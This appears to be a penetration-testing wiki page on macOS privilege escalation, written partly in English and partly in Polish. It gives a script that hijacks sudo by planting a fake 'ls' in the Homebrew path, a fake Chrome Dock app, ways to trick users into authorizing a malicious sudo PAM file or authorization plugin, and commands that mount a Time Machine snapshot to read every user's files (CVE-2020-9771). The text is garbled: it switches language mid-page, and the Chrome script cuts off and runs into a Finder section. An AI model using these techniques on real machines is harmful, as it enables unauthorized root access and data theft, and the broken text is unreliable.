TCC Privilege Escalation
If you came here looking for TCC privilege escalation go to:
{% content-ref url="macos-security-protections/macos-tcc/" %} macos-tcc {% endcontent-ref %}
Linux Privesc
Please note that most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS machines. So see:

User Interaction
Sudo Hijacking
You can find the original Sudo Hijacking technique inside the Linux Privilege Escalation post.
However, macOS maintains the user's PATH
when he executes sudo
. Which means that another way to achieve this attack would be to hijack other binaries that the victim wciąż execute when running sudo:
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
Note that a user that uses the terminal will highly probable have Homebrew installed. So it's possible to hijack binaries in /opt/homebrew/bin
.
Dock Impersonation
Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:
{% tabs %} {% tab title="Chrome Impersonation" %} Some suggestions:
- Check in the Dock if there is a Chrome, and in that case remove that entry and add the fake Chrome entry in the same position in the Dock array.
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute

{% tab title="Impersonacja Findera" %} Kilka sugestii:
- Nie możesz usunąć Findera z Docka, więc jeśli zamierzasz dodać go do Docka, możesz umieścić fałszywego Findera tuż obok prawdziwego. W tym celu musisz dodać fałszywy wpis Findera na początku tablicy Docka.
- Inną opcją jest nie umieszczanie go w Docku i po prostu otwarcie go, "Finder prosi o kontrolę Findera" nie jest takie dziwne.
- Inną opcją na eskalację do roota bez pytania o hasło z oknem, które wygląda strasznie, jest sprawienie, aby Finder naprawdę poprosił o hasło do wykonania uprzywilejowanej akcji:
- Poproś Findera o skopiowanie do
/etc/pam.d
nowego plikusudo
(Okno proszące o hasło wskaże, że "Finder chce skopiować sudo") - Poproś Findera o skopiowanie nowego Pluginu Autoryzacji (Możesz kontrolować nazwę pliku, aby okno proszące o hasło wskazało, że "Finder chce skopiować Finder.bundle")

TCC - Eskalacja uprawnień roota
CVE-2020-9771 - obejście TCC mount_apfs i eskalacja uprawnień
Każdy użytkownik (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine oraz uzyskać dostęp do WSZYSTKICH plików tej migawki.
Jedynym wymaganym przywilejem jest to, aby aplikacja używana (taka jak Terminal
) miała dostęp Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles
), który musi być przyznany przez administratora.
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots

Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
Bardziej szczegółowe wyjaśnienie można znaleźć w oryginalnym raporcie.
